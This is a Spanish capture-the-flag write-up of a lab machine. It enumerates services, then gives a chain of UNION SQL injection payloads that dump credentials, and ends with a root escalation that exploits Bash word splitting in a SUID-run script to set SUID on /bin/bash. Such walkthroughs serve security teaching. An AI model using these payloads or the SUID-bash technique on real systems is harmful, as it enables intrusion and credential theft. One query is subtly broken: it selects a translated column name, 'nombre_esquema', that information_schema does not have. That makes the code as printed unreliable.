Enumeración de servicios
Enumeramos puertos:
❯ nmap -sCV -p 22,80,9090 -oN 02-targeted.txt 10.206.94.20
...
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp open http Apache httpd 2.4.62 ((Debian))
9090/tcp open http Golang net/http server
|_http-title: Mottos
...Enumeramos directorios en el puerto 9090 y encontramos /login, /register y /myinfo:
❯ gobuster dir -u 'http://10.206.94.20:9090' -w directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh -r
login (Status: 200)
register (Status: 200)
myinfo (Status: 200)Extracción de credenciales mediante UNION-Based SQL Injection
Registramos la cuenta pwned:asdfasdf. La página /myinfo utiliza el valor modificable de nickname en una consulta vulnerable a SQL Injection. El payload booleano hace que /mymottos devuelva mensajes de todos los usuarios, lo que confirma que la entrada altera la consulta. A continuación usamos UNION SELECT con tres columnas y situamos cada dato en la tercera, que es la posición reflejada por la página:
-- base de datos en uso → sql
pwned' UNION SELECT 1,2,database()-- -
-- todas las bases → information_schema, performance_schema, mysql, sql
pwned' UNION SELECT 1,2,nombre_esquema FROM information_schema.schemata-- -
-- tablas de 'sql' → motto_infos, register_infos
pwned' UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='sql'-- -
-- columnas de register_infos → user_id, nickname, username, password
pwned' UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_schema='sql' AND table_name='register_infos'-- -
-- volcado de credenciales
pwned' UNION SELECT 1,2,CONCAT(username,0x3a,password) FROM register_infos-- -admin is no use:admin is no use
RedBean:cannotforgetyou
pwned:asdfasdfEl volcado revela las credenciales de RedBean. Linux distingue mayúsculas y minúsculas en los nombres de cuenta, y la sesión registrada se inicia como redbean. Tras obtener la primera flag, buscamos binarios SUID:
redbean@motto:~$ find / -perm -4000 2>/dev/null
...
/opt/run_newsh
...Escalada mediante Bash Word Splitting
El análisis de run_newsh muestra que ejecuta setuid(0) y entrega nuestro único argumento a /opt/new.sh. Como el binario posee SUID, el script termina evaluando la entrada en un contexto privilegiado. La copia encontrada en ~/.backup contiene estas comprobaciones:
[ -n "$1" ] || exit 1
[ "$1" = "flag" ] && exit 2
[ $1 = "flag" ] && chmod +s /bin/bashLa primera comparación sólo exige una entrada no vacía. La segunda conserva "$1" como una única cadena y rechaza exactamente flag; con "flag ", el espacio final evita esa coincidencia. En la tercera, $1 no está entre comillas, así que Bash aplica word splitting y elimina el espacio que separa palabras. El valor termina comparándose como flag, se ejecuta chmod +s y el binario SUID convierte esa diferencia de interpretación en una escalada:
redbean@motto:/opt$ ./run_newsh "flag "
redbean@motto:/opt$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
redbean@motto:/opt$ bash -p
bash-5.0# whoami
rootbash -p conserva el UID efectivo de root y completa la escalada.
Fin.